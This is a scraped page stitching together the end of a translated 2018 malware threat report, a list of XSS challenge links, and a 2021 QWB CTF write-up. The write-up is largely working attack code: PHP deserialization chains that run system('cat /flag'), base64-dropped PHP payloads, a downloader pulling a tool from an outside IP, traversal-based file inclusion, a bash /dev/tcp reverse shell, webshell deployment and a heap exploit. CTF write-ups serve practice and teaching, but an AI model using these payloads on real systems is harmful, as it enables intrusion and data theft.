Scarab是2017年7月首次发现的，2017年12月变种Scarabey也被检测到了。攻击目标是俄罗斯用户，通过RDP或者手动释放到服务器和系统中，当系统被加密后，同样需要支付赎金，但赎金是比特币。Scarab并不是用英语写的，所以读起来有点生涩。Scarabey的勒索信息是用俄语写的，也含有同样的语法错误。看起来作者可能是说俄语的，所使用的压力模型也是一样的。Scarab警告用户用户支付的越晚，会有越多的文件被删除，直到全部被删除。经过分析，研究人员得出结论，勒索软件中并没有类似功能的代码。事实上，这只是一种向受害者施压，使其尽快支付赎金的方法。
### Hermes勒索软件
最初使用恶意office文档，垃圾邮件活动中使用了嵌入的Flash漏洞。3月份，更加复杂的利用工具GreenFlash
Sundown开始传播分发Hermes恶意软件。Hermes并不是静默执行的，在运行时会弹出多个Windows弹窗，这也是勒索软件最终会展示给用户的。Hermes的另一个特征是勒索消息通过BitMessage与受害者进行通信。研究人员分析了Hermes后发现，Hermes是一个全功能的勒索软件，但研究人员不确定传播者的真实意图是什么。总的来看，应该是政治驱动而不是经济利益驱动的。
# 欺骗
## Coinbase-themed攻击
由于比特币和Coinbase本身缺乏金融欺骗的保护，Coinbase-themed TSS大获成功。除了利用假的Coinbase
twitter账号污染搜索结果等常规方式外，攻击中比较新颖的方式是垃圾邮件的执行，当用测试机器调用时，运营者会将Coinbase账号的设置信息中的凭证信息拷到自己的机器上。
受害者在Twitter上报告说，自己的加密货币钱包账户被窃了。说明威胁单元组织发现很容易就可以清空别人的加密货币钱包，这种技术比提供假的技术支持还要简单。
## 新技术
攻击者滥用API来帮助冻结受害者的浏览器，这是一种新的攻击技巧。
Blob结构体的window.navigator.msSaveOrOpenBlob方法可以使用户本地保存文件，也就是滥用了这个方法。
ch_jam()函数调用了另一个函数bomb_ch()。反过来，调用下载函数也用到了前面的Blob结构体。之前报告的pushState
API滥用的攻击目标的Chrome浏览器，但也会影响Firefox和 Brave。
## 漏洞利用实践
技术支持的欺骗主要依赖的是商业过程中的漏洞，而不是利用特定的工具。在Coinbase-themed的欺骗中，欺骗着利用了比特币交易内在的缺乏金融保护的机制。因为滥用了API，真实的漏洞利用是明显滞后的，并处于报告漏洞给公司和实际补丁更新之间。因此，攻击者有足够的时间来利用漏洞获利。比特币主题的欺骗和浏览器滥用都是攻击者常用的工具。
## 漏洞和利用
2018年1月的Meltdown和Spectre漏洞让无数的处理器跪了。Meltdown是intel处理器的漏洞，而Spectre漏洞可以用来攻击所有的处理器类型。利用这些漏洞进行攻击的潜在危险在于可以读取其他进程的安全内存信息，包括个人身份信息，银行信息，用户名和密码。Meltdown漏洞利用还需要在系统中安装一个进程，而浏览器的恶意脚本就可以发起Spectre攻击。Intel，微软，AMD等厂商都提供了补丁，但长期的解决方案还在研究开发中。而攻击者正在使用这些漏洞来进行社会工程攻击。
### Meltdown
Meltdown漏洞来源于已知的Rogue Data Cache Load
(CVE-2017-5754)漏洞，攻击者利用该漏洞可以让虚假进程读取未授权的内存内容，加上一个侧信道攻击。Windows已经发布了一系列的meltdown补丁，但是这些补丁与AMD等是不兼容的，而且是以牺牲系统性能为代价的。
### Spectre
Spectre漏洞会影响近15年来所有执行分支预测的处理器。Spectre的利用要比Meltdown的利用难一些，但同时修复也更难，因为这是CPU和OS结构的缺陷。Spectre使用的漏洞有Bounds
Check Bypass(Spectre-v1, CVE-2017-5753)和Branch Target Injection (Spectre-v2,
CVE-2017-5715)。Spectre欺骗程序去访问内存中的随机位置，即使该分区没有被授权访问。微软也发布了Spectre-v1和Bounds
Check Bypass的补丁，但是目前没有Spectre-v2的补丁。幸运的是目前除了POC外，没有发现在野攻击实例。
### Flash漏洞利用
CVE-2018-4878是Flash player的漏洞，漏洞利用最早是韩国互联网应急中心报告的。研究人员分析发现该漏洞与APT 37(Group
123）组织有关，该漏洞的公布导致了很多对该漏洞的分析研究以及在野攻击。比如，使用Flash漏洞来传播恶意payload。该漏洞的利用大概率与朝鲜政府有关，adobe已经发布了补丁来限制该漏洞的远程代码执行能力。但攻击者仍可以利用用户升级的窗口期来发起攻击。
# 预测
## 加密货币挖矿
加密货币挖矿技术仍然会继续发展。虽然去年加密货币价值几经波折，但并没有影响攻击者传播加密货币挖矿机，而且攻击者还在不断升级已有的恶意软件家族来在受感染的系统中安装加密货币挖矿机。如果加密货币价值不断增长，攻击者可能就会对恶意软件进行修改用作挖矿用途，利用NSA永恒之蓝来感染IOT设备就是一个很好的例子。
## 勒索软件
勒索软件并没有死，至少不像我们想的那样。事实上，1季度研究人员发现了不少新的勒索软件，比如GandCrab和Scarabey。因为去年国外抓了很多的恶意软件开发者，所以可能一些恶意软件家族可能不会再出现了，但是目前在市场上的恶意软件会继续发展。
## 间谍和广告软件
间谍软件和广告软件会继续增长。企业端检测到最多的是间谍软件，而广告软件中用户端是最多的。检测到最多的间谍软件是TrickBot，其中还含有加密货币挖矿代码。研究人员预测，即使恶意软件的类型与加密货币挖矿没有关联，最终也会被用于加密货币挖矿。检测软件和广告软件可以将用户重定向到drive-by挖矿页面，窃取本地的加密货币钱包，劫持系统，强制用户加入挖矿池。如果加密货币挖矿不在流行，间谍软件和广告软件也有很多的用途，比如窃取用户信息，知识产权破坏，其他恶意软件安装等。
## 漏洞利用工具不再继续
去年很少有漏洞利用工具活动。因为缺乏新的漏洞利用，这些工具变得不再有吸引力。研究人员发现很多的恶意广告和driveby活动来支持诈骗重定向等活动，而不是去感染系统。第1季度RIG利用工具在传播恶意软件和加密货币挖矿机上有所增长。之后漏洞利用工具活动可能还会增长，但这并不代表漏洞利用工具死灰复燃了。
# 结论
随着威胁图谱的发展，其与真实世界的联系更加明显。恶意软件开发者喜欢数字货币的匿名性和高价值，所以把注意力都转移到加密货币挖矿上来。而恶意加密货币挖矿看起来比其他形式的恶意软件危险系数要低很多，但是它的影响可能是被低估了。事实上，没有管理的挖矿机可能会破坏企业的基础设施，而且可能会成为APT组织的攻击工具。
<https://www.malwarebytes.com/pdf/white-papers/CTNT-Q1-2018.pdf> | 社区文章 |
<http://px1624.sinaapp.com/test/xsstest1/>
<http://px1624.sinaapp.com/test/xsstest2/>
<http://px1624.sinaapp.com/test/xsstest3/>
<http://px1624.sinaapp.com/test/xsstest4/>
<http://px1624.sinaapp.com/test/xsstest5/>
<http://px1624.sinaapp.com/test/xsstest6/>
<http://px1624.sinaapp.com/test/xsstest7/>
<http://px1624.sinaapp.com/test/xsstest8/>
<http://px1624.sinaapp.com/test/xsstest9/>
<http://px1624.sinaapp.com/test/xsstest10/>
<http://px1624.sinaapp.com/test/xsstest11/>
<http://px1624.sinaapp.com/test/xsstest12/>
<http://px1624.sinaapp.com/test/xsstest13/>
<http://px1624.sinaapp.com/test/xsstest14/>
<http://px1624.sinaapp.com/test/xsstest15/>
<http://px1624.sinaapp.com/test/xsstest16/>
<http://px1624.sinaapp.com/test/shortxss.php>
<http://px1624.sinaapp.com/test/shortxss1.php>
<http://px1624.sinaapp.com/test/shortxss2.php>
一共设计了19道题
有兴趣的朋友可以试着搞一搞，把ID和答案发我邮箱 [email protected]
答案解析，可以看我后续发的其他技术文章。 | 社区文章 |
# 2021强网杯部分Wp
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
队伍：D0g3
## Web
### **pop_master**
`就是找pop链子`
<?php
include "class.php";
// $_GET['argv'];
$a = new RE1OMX();
$b = new i1hP7t();
$c = new zXCCeq();
$d = new mrh3g1();
$e = new ZZdOGI();
$f = new llXb4K();
$g = new YSLwLa();
$h = new pWbYui();
$i = new VRRnow();
$j = new EfGhMk();
$k = new F14Wdc();
$l = new skPn09();
$m = new o4pImn();
$n = new ZzeOOG();
$o = new gI55Lg();
$p = new VADeL8();
$q = new nrpCQU();
$r = new hl3aY9();
$s = new v9hArk();
$t = new YdtcqO();
$u = new TC6gGO();
$a->BygUQrE = $b;
$b->KgBLgdZ = $c;
$c->kHDgV8H = $d;
$d->HGD3u9K = $e;
$e->uDi7BnQ = $f;
$f->FDe36Ig = $g;
$g->evVcu96 = $h;
$h->GUCdYot = $i;
$i->mL2xGAo = $j;
$j->sqrYYeP = $k;
$k->xOYcGSr = $l;
$l->VHYeGXw = $m;
$m->gvYGwaB = $n;
$n->ONuahAZ = $o;
$o->W6uBBDs = $p;
$p->C24Rp7S = $q;
$q->qXmg5Al = $r;
$r->bwsbAbm = $s;
$s->ng7uu1P = $t;
$t->n8xdfBT = $u;
echo serialize($a);
?pop=O:6:"RE1OMX":1:{s:7:"BygUQrE";O:6:"i1hP7t":1:{s:7:"KgBLgdZ";O:6:"zXCCeq":1:{s:7:"kHDgV8H";O:6:"mrh3g1":1:{s:7:"HGD3u9K";O:6:"ZZdOGI":1:{s:7:"uDi7BnQ";O:6:"llXb4K":1:{s:7:"FDe36Ig";O:6:"YSLwLa":1:{s:7:"evVcu96";O:6:"pWbYui":1:{s:7:"GUCdYot";O:6:"VRRnow":1:{s:7:"mL2xGAo";O:6:"EfGhMk":1:{s:7:"sqrYYeP";O:6:"F14Wdc":1:{s:7:"xOYcGSr";O:6:"skPn09":1:{s:7:"VHYeGXw";O:6:"o4pImn":1:{s:7:"gvYGwaB";O:6:"ZzeOOG":1:{s:7:"ONuahAZ";O:6:"gI55Lg":1:{s:7:"W6uBBDs";O:6:"VADeL8":1:{s:7:"C24Rp7S";O:6:"nrpCQU":1:{s:7:"qXmg5Al";O:6:"hl3aY9":1:{s:7:"bwsbAbm";O:6:"v9hArk":1:{s:7:"ng7uu1P";O:6:"YdtcqO":1:{s:7:"n8xdfBT";O:6:"TC6gGO":1:{s:7:"Pxqk6ZO";N;}}}}}}}}}}}}}}}}}}}}}&argv=echo 1;?><?php system('cat /flag');?>
### **[强网先锋]赌徒**
源代码
<?php
error_reporting(1);
class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';
public function __construct(){
echo "I think you need /etc/hint . Before this you need to see the source code";
}
public function _sayhello(){
echo $this->name;//new Info()
return 'ok';
}
public function __wakeup(){
echo "hi";
$this->_sayhello();
}
public function __get($cc){
echo "give you flag : ".$this->flag;
return ;
}
}
class Info
{
private $phonenumber=123123;
public $promise='I do';
public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
}
public function __toString(){
return $this->file['filename']->ffiillee['ffiilleennaammee'];//new Room();
}
}
class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';
public function __get($name){
$function = $this->a;//new Room()
return $function();
}
public function Get_hint($file){
$hint=base64_encode(file_get_contents($file));
echo $hint;
return ;
}
public function __invoke(){//当脚本尝试将对象调用为函数时触发
$content = $this->Get_hint($this->filename);
echo $content;
}
}
if(isset($_GET['hello'])){
unserialize($_GET['hello']);
}
?>
exp.php
<?php
class Start{}
class Info{}
class Room{
public function __construct(){
$this->filename = "/flag";
}
}
$a = new Start();
$b = new Info();
$c = new Room();
$c->a = new Room();
$b->file['filename'] = $c;
$a->name = $b;
echo serialize($a);
?>
### **[强网先锋]寻宝**
第二个`key`开了`windows`的预览直接搜就搜到了
### **Hard_Penetration**
通过shiro打反弹shell.
获得端口
<?php
$url = 'http://127.0.0.1:8005/';
$ch = curl_init();
$timeout = 5;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$contents = curl_exec($ch);
curl_close($ch);
echo $contents;
?>
echo PD9waHAKJHVybCA9ICdodHRwOi8vMTI3LjAuMC4xOjgwMDUvaW5kZXgucGhwJzsKJGNoID0gY3VybF9pbml0KCk7CiR0aW1lb3V0ID0gNTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgJHRpbWVvdXQpOwokY29udGVudHMgPSBjdXJsX2V4ZWMoJGNoKTsKY3VybF9jbG9zZSgkY2gpOwplY2hvICRjb250ZW50czsKPz4=|base64 -d > test.php
<?php
set_time_limit (24 * 60 * 60);
$url="http://1.116.136.120/".urlencode(iconv("GB2312","UTF-8","lcx.c"));
echo $url."<br>";
$newfname = iconv("UTF-8","GB2312",urldecode(basename($url)));
echo $newfname;
$file = fopen ($url, "rb");
if ($file) {
$newf = fopen ($newfname, "wb");
if ($newf)
while(!feof($file)) {
fwrite($newf, fread($file, 1024 * 8 ), 1024 * 8 );
}
}
if ($file) {
fclose($file);
}
if ($newf) {
fclose($newf);
}
?>
echo PD9waHAKc2V0X3RpbWVfbGltaXQgKDI0ICogNjAgKiA2MCk7CiR1cmw9Imh0dHA6Ly8xLjExNi4xMzYuMTIwLyIudXJsZW5jb2RlKGljb252KCJHQjIzMTIiLCJVVEYtOCIsImxjeC5jIikpOwplY2hvICR1cmwuIjxicj4iOwokbmV3Zm5hbWUgPSBpY29udigiVVRGLTgiLCJHQjIzMTIiLHVybGRlY29kZShiYXNlbmFtZSgkdXJsKSkpOwplY2hvICRuZXdmbmFtZTsKJGZpbGUgPSBmb3BlbiAoJHVybCwgInJiIik7CmlmICgkZmlsZSkgewoJJG5ld2YgPSBmb3BlbiAoJG5ld2ZuYW1lLCAid2IiKTsKCWlmICgkbmV3ZikKCXdoaWxlKCFmZW9mKCRmaWxlKSkgewoJCWZ3cml0ZSgkbmV3ZiwgZnJlYWQoJGZpbGUsIDEwMjQgKiA4ICksIDEwMjQgKiA4ICk7Cgl9Cn0KaWYgKCRmaWxlKSB7CglmY2xvc2UoJGZpbGUpOwp9CmlmICgkbmV3ZikgewoJZmNsb3NlKCRuZXdmKTsKfQo/Pg==|base64 -d > lcx.php
gcc lcx.c -o lcx
靶机: ./lcx -m 3 -h1 1.116.136.120 -h2 127.0.0.1 -p1 81 -p2 8006
vps:./lcx -m 2 -p1 2333 -p2 8005
发现进行查看页面，发现是BAOCMS，直接github找源代码。然后seary代码审计。发现任意文件包含。
然后利用思路我们可以写入脚本在tmp目录下（构造好文件名）然后进行目录穿越来文件包含。
<?php system('cat /flag');?>
echo "PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg=="|base64 -d > /tmp/exp.barcode.php
直接
http://127.0.0.1:8005/Tudou/Lib/barcodegen/html/image.php?code=../../../../../../../../../../../../../../tmp/exp&t=1&r=1&rot=1&text=1&f1=1&f2=1&o=1&dpi=1&a1=1&a2=1
<?php
$url = 'http://127.0.0.1:8005/Tudou/Lib/barcodegen/html/image.php?code=../../../../../../../../../../../../../../tmp/exp&t=1&r=1&rot=1&text=1&f1=1&f2=1&o=1&dpi=1&a1=1&a2=1';
$ch = curl_init();
$timeout = 5;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$contents = curl_exec($ch);
curl_close($ch);
echo $contents;
?>
echo PD9waHAKJHVybCA9ICdodHRwOi8vMTI3LjAuMC4xOjgwMDUvVHVkb3UvTGliL2JhcmNvZGVnZW4vaHRtbC9pbWFnZS5waHA/Y29kZT0uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi90bXAvZXhwJnQ9MSZyPTEmcm90PTEmdGV4dD0xJmYxPTEmZjI9MSZvPTEmZHBpPTEmYTE9MSZhMj0xJzsKJGNoID0gY3VybF9pbml0KCk7CiR0aW1lb3V0ID0gNTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgJHRpbWVvdXQpOwokY29udGVudHMgPSBjdXJsX2V4ZWMoJGNoKTsKY3VybF9jbG9zZSgkY2gpOwplY2hvICRjb250ZW50czsKPz4=|base64 -d > exp.php
### **EasyWeb**
然后访问`files`
扫端口发现一个后台`http://47.104.137.239:36842/`，登录的地方没啥过滤直接报错注入。
登进去后台扫目录发现有个`file`的路由能传文件,被`easyssrf`给搞错方向了。
写了一个马，然后直接蚁剑弹`shell`
`netstat`查看进程发现`8006`端口是开放的。
`curl`一下发现是`jboss`
然后各种代理挂出来都行，我这里直接公网上面起了个`msf`然后`portfd`给转发出来了。
然后后台`getshell`就是部署`war`包了,哥斯拉生成一个马，然后打包成压缩包
然后在我的云服务器上起一个`python`的`server`。
此时包已经部署上去了。
马也写上去了。
连上去直接`cat`
### **WhereIsUWebShell**
<!-- You may need to know what is in e2a7106f1cc8bb1e1318df70aa0a3540.php-->
<?php
ini_set('display_errors', 'on');
if(!isset($_COOKIE['ctfer'])){
setcookie("ctfer",serialize("ctfer"),time()+3600);
}else{
include "function.php";
echo "I see your Cookie<br>";
$res = unserialize($_COOKIE['ctfer']);
if(preg_match('/myclass/i',serialize($res))){
throw new Exception("Error: Class 'myclass' not found ");
}
}
<?php
// myclass.php
class Hello{
public function __destruct()
{ if($this->qwb) echo file_get_contents($this->qwb);
}
}
?>
<?php
// function.php
function __autoload($classname){//__autoload()，尝试加载未定义的类
require_once "/var/www/html/$classname.php";
}
?>
我们反序列化去触发`__autoload`的魔法方法去加载myclass.php，然后在销毁的时候触发`__destruct`去读文件
<?php
class Hello{
public $qwb = "e2a7106f1cc8bb1e1318df70aa0a3540.php";
}
class myclass{
}
$a = new myclass();
$b = new Hello();
$a->exp=$b;
$a = serialize($a);
$a = str_replace('"myclass":1','"myclass":2',$a);
echo ($a)."\n";
echo urlencode($a)."\n";
然后读到全部的php代码。
然后思路就是上传临时文件，并且网站目录存在passwd，然后直接利用php://filter/string.strip_tags/resource=passwd造成空指针，浏览器异常。这样可以保存临时文件，然后在进行包含getshell.还有一个问题是照片木马。照片木马可以通过上次国赛在网上找的exp,直接打。
这里简单的说一下为什么要包含固定的照片格式。因为我们包含的文件在tmp下会进行png函数处理，在处理的过程会有数据失去，然后在将处理后的数据给写到$file。
然后写脚本。
# /usr/bin/python3
# @Author:Firebasky
# coding:utf-8
import requests
import re
url = "http://eci-2ze3rbnvegbbrt90dzvx.cloudeci1.ichunqiu.com/e2a7106f1cc8bb1e1318df70aa0a3540.php?"
files = {
'file': open("exp","rb+").read()
}
response1 = requests.post(url=url+"d5e9d6b6-33ed-4617-be5a-631bc491cff2=php://filter/string.strip_tags/resource=passwd",files=files)
response2 = requests.get(url=url+"29e845c5-7ed5-43ca-a1e7-7dd39e67e722=../../../../../../../../../../tmp")
a = re.findall("\[\d\] => php(.*)", response2.text)[0]#获得上传的临时文件
data = {
'1':'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'
# /usr/bin/ed471efd0577be6357bb94d6R3@dF1aG /l1b/84d74210/07a4c79a/698f57d6/23b08db3/a3d0683d/Fl444gggbc304131
}
response3 = requests.post(url=url+"0=system&d5e9d6b6-33ed-4617-be5a-631bc491cff2=../../../../../tmp/php"+a,data=data)
然后直接执行命令反弹shell，吐槽 flag非常难找。。。。。。。。。。。。。。。。。。。
最后命令： **/usr/bin/ed471efd0577be6357bb94d6R3@dF1aG**
**/l1b/84d74210/07a4c79a/698f57d6/23b08db3/a3d0683d/Fl444gggbc304131**
## Re
### ezmath
程序中应该故意给了错误数据，，
开始还写了一个ida动调脚本从0x2021跑到0x7f7f爆破，结果一个解都找不到。。。
虽然这题这样解不出来，还是贴一下写的动调的脚本吧（要修改原程序），，，
from ida_dbg import *
from ida_bytes import *
def init():
probase=FirstSeg()
breakpoint1=0x14D5+probase
rbp = get_reg_val("rbp")
set_reg_val("rip", breakpoint1)
patch_qword(rbp-0x44, 0)
i = 0x2021
while(True):
print(">>> i: %d"%i)
run_to(0x14F1+FirstSeg())
wait_for_next_event(WFNE_SUSP, -1)
set_reg_val("edi", i)
run_to(0x153B+FirstSeg())
wait_for_next_event(WFNE_SUSP, -1)
rax = get_reg_val("rax")
if rax != 1:
i += 1
init()
else:
print(">>> find: %d"%i)
break
exit_process()
然后分析程序，这其实是个数学题。。
程序在init用积分算了一个新的值改变了硬编码的0.2021，但这个新改的数据应该也是错的。。
求积分，公式推导。。
精度太高，我是穷举（0x2021-0x7f7f）来找最接近密文的值，这就多次复用了通过递推算出的积分。那就先统一算完写入文件。在读文件使用。
数据太多了，部分值：
0.000330409855750
0.000330369698985
0.000330329551981
0.000330289414732
0.000330249287236
0.000330209169490
0.000330169061489
0.000330128963230
0.000330088874709
0.000330048795924
0.000330008726870
0.000329968667544
0.000329928617942
0.000329888578061
0.000329848547897
读数据文件，穷举找最接近的值。
#include<stdio.h>
#include<stdlib.h>
#include<math.h>
double enc[] = {0.00009794904266317233, 0.00010270456917442, 0.00009194256152777895,0.0001090322021913372, 0.0001112636336217534, 0.0001007442677411854,0.0001112636336217534, 0.0001047063607908828, 0.0001112818534005219,0.0001046861985862495, 0.0001112818534005219, 0.000108992856167966,0.0001112636336217534, 0.0001090234561758122, 0.0001113183108652088,0.0001006882924839248, 0.0001112590796092291, 0.0001089841164633298, 0.00008468431512187874};
double minValue = 100.0;
int min_index;
char flag[100];
double data[0x7f7f-0x2021+1];
int main(void)
{
int i, j;
FILE *fp;
fp = fopen("data1", "rb");
for(i = 0x2021; i < 0x7f7f; i++)
{
fread(data+i-0x2021, sizeof(double), 1, fp);
//printf("%.15lf\n", data[i-0x2021]);
}
fclose(fp);
for (i = 0; i < 19; i++)
{
minValue = 100.0;
for(j = 0x2021; j < 0x7f7f; j++)
{
double ans = data[j-0x2021];
double ppp = ans>enc[i] ? ans-enc[i]:enc[i]-ans;
if(ppp < minValue)
{
minValue = ppp;
min_index = j;
//printf("%x: %.15lf, min_index:%x\n", j, minValue, min_index);
}
}
//printf("%.15lf\n", minValue);
flag[i*2] = min_index & 0xff;
flag[i*2 + 1] = (min_index >> 8)&0xff;
}
puts(flag);
return 0;
}
### LongTimeAgo
计算len
sub_401DB0函数每8个一组进行bytes_to_long操作，且输入字符要为大写。
生成key和加密，加密函数为两种类型，xtea和tea，和异或操作。
如tea：
先异或解密得到（0xfd 0x1fd 0x3fd 0x7fd）：
0x1f30678f, 0xb75b0dd4, 0x4a7cdb1e, 0x2877bc22, 0x1354c778, 0x357c3bc7, 0x738af391, 0x89b7f2ca
然后解密都稍微魔改了下的tea和xtea，动调从内存中找delat。
懒了，直接找网上的改下：
#include <stdio.h>
#include <stdint.h>
void decrypt1(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4])
{
unsigned int i;
uint32_t v0 = v[0], v1 = v[1], delta = 0x70C88617, sum = 0xE6EF3D20;
for(i = 0; i < num_rounds; i++)
{
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
sum += delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
}
v[0]=v0, v[1]=v1;
}
void decrypt2(uint32_t* v, uint32_t* k)
{
uint32_t v0 = v[0], v1 = v[1], sum = 0xa6a53780, i;
uint32_t delta = 0x3D3529BC;
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
for (i=0; i<32; i++)
{
v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
sum -= delta;
}
v[0]=v0, v[1]=v1;
}
int main(void)
{
uint32_t v[2]={0x1f30678f,0xb75b0dd4};
uint32_t const k[4]={0xfffd,0x1fffd,0x3fffd,0x7fffd};
unsigned int r=32;
decrypt1(r, v, k);
//decrypt2(v, k)
printf("解密后的数据：%x %x\n",v[0],v[1]);
return 0;
}
最后注意解密的数据要大写，，，看了好久。。
### StandOnTheGiants
关键就在native层的一个check函数。
一个rsa加密，有n和e，解还好，关键就是最后的换表base64有多个对应（+-有2个），这就有2^14种情况了。我还真就写了14个for循环，，，
最后爆出flag
import gmpy2
import base64
import copy
from Crypto.Util import number
base = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ*+,-./:;?@+-"
enc = "bborOT+ohG*,U:;@/gVIAZ-,t++LaZkOrk?UcSOKJ?p-J+vuSN?:e,Kc/?h-oH?:tthoqYYSPp-ZC+Yw:*jrxPymGYO/PvDOIivNYtvJ?Mi*GG+/lmqEysrTdSD+eP+moP+l?+Np/oK="
ans = []
for i in enc:
if i != '=':
ans += [base.index(i)]
jia_ = [53, 62]
jian_ = [55, 63]
jia = []
jian = []
for i,s in enumerate(enc):
if s == '+':
jia += [i]
if s == '-':
jian += [i]
jia_ = [53, 62]
jian_ = [55, 63]
qqqq = 0
ans22 = [0]*14
ans_ = [[0]]
for a in range(2):
ans22[0] = jia_[a]
for b in range(2):
ans22[1] = jia_[b]
for c in range(2):
ans22[2] = jia_[c]
for d in range(2):
ans22[3] = jia_[d]
for e in range(2):
ans22[4] = jia_[e]
for f in range(2):
ans22[5] = jia_[f]
for g in range(2):
ans22[6] = jia_[g]
for h in range(2):
ans22[7] = jia_[h]
for i in range(2):
ans22[8] = jia_[i]
for j in range(2):
ans22[9] = jia_[j]
for k in range(2):
ans22[10] = jian_[k]
for l in range(2):
ans22[11] = jian_[l]
for m in range(2):
ans22[12] = jian_[m]
for n in range(2):
ans22[13] = jian_[n]
asd = copy.deepcopy(ans22)
ans_ += [asd]
p = 33372027594978156556226010605355114227940760344767554666784520987023841729210037080257448673296881877565718986258036932062711
q = 64135289477071580278790190170577389084825014742943447208116859632024532344630238623598752668347708737661925585694639798853367
e = 0x10001
#print(ans_[1])
for i in range(2**14):
for j in range(10):
ans[jia[j]] = ans_[i+1][j]
for j in range(4):
ans[jian[j]] = ans_[i+1][10+j]
sss = ''.join(['{:0>6}'.format(bin(o)[2:]) for o in ans])
flag = []
for s in range(len(sss)//8):
flag += [int(sss[8*s:8*(s+1)], 2)]
flag = bytes(flag)
#print(flag)
#c = int(flag.hex(),16)
c = number.bytes_to_long(flag)
#print(number.bytes_to_long(flag))
#print(c)
n = q*p
phi = (q-1) * (p-1)
d = gmpy2.invert(e, phi)
m = gmpy2.powmod(c, d, n)
www = number.long_to_bytes(m)
if b'flag' in www:
print(www)
## Pwn
### baby_diary
漏洞点
__int64 __fastcall sub_132B(__int64 a1, int a2, char a3)
{
int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; i < a2; ++i )
{
if ( (int)read(0, (void *)(i + a1), 1uLL) <= 0 )
{
puts("read error");
exit(0);
}
if ( a3 == *(_BYTE *)(i + a1) )
break;
}
*(_BYTE *)(i + a1) = 0; //设置最后一个至为0
return (unsigned int)i;
}
执行完编辑函数，可以修改最后一个字节的low_byte位
void __fastcall sub_1528(unsigned int idx, int n)
{
__int64 v2; // [rsp+10h] [rbp-8h]
if ( idx <= 0x18 && bufs[idx] )
{
v2 = bufs[idx];
flags[idx] = n;
if ( n )
*(_BYTE *)(n + 1LL + v2) = (*(_BYTE *)(n + 1LL + v2) & 0xF0) + sub_146E(idx); // n若为开辟内存大小的话，存在溢出， 修改低4位
}
}
然而sub_146E函数根据下面算法计算的，若大于0x0f的话，就不能构造结果为0，这有点坑。
__int64 __fastcall sub_146E(unsigned int a1)
{
int i; // [rsp+10h] [rbp-14h]
unsigned int v3; // [rsp+14h] [rbp-10h]
if ( a1 > 0x18 || !bufs[a1] )
return 0xFFFFFFFFLL;
v3 = 0;
for ( i = 0; i < flags[a1]; ++i )
v3 += *(unsigned __int8 *)(i + bufs[a1]);
while ( v3 > 0xF )
v3 = (v3 >> 4) + (v3 & 0xF);
return v3;
}
漏洞综述，程序有点恶心，最后字节用’\x00’截断，4bit位溢出。
glibc
2.31下绕过unlink，稍微有点难构造，加上本身程序逻辑，更难构造了，各种层层构造关联太强了，但最后还是找的了某些地址，成功构造利用链子，这需要控制很好的地址的值，比如实现unlink时，prev_size
要满足 0x100的倍数，不然不好设置我们unlink chunk size低3位为 0，还有构造unlink的fd->bk
指向自己本身，bk->fd指向自己本身，然而程序有点烦人的是最后一字节为’\x00’截断的，后面有4bit位溢出，这使得我们伪造chunk的fd必需要为0x100的整数倍才行。实现unlink之后就实现了堆重叠，泄漏Libc然后再修改`__free_hook`为system函数，至于glibc
2.31下如何绕过unlink，它与2.29一样的，多了个 prev_size == chunk_size的检查，这就比较麻烦，
可以参考这篇博客:<https://bbs.pediy.com/thread-257901-1.htm> 。
下面是我重重构造，实现unlink的信息
0x5555dc297300 —▸ 0x5555dc297dd0 —▸ 0x7f8e6ac39ca0 (main_arena+96) ◂— 0x5555dc29730
#### exp
#!/usr/bin/env python3
#-*- coding:utf-8 -*- # Author: i0gan
# ref: https://bbs.pediy.com/thread-257901-1.htm
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
#context.arch = 'amd64'
elf_path = './baby_diary'
libc_path = '/glibc/2.23/64/lib/libc.so.6'
#libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
libc_path = './libc.so.6'
# remote server ip and port
host = "8.140.114.72:1399"
# if local debug
LOCAL = 0
LIBC = 1
#--------------------------func----------------------------- def db():
if(LOCAL):
gdb.attach(io)
def ad(sz, d):
sla('>>', '1')
sla(':', str(sz))
if(sz > 0):
sa(':', d)
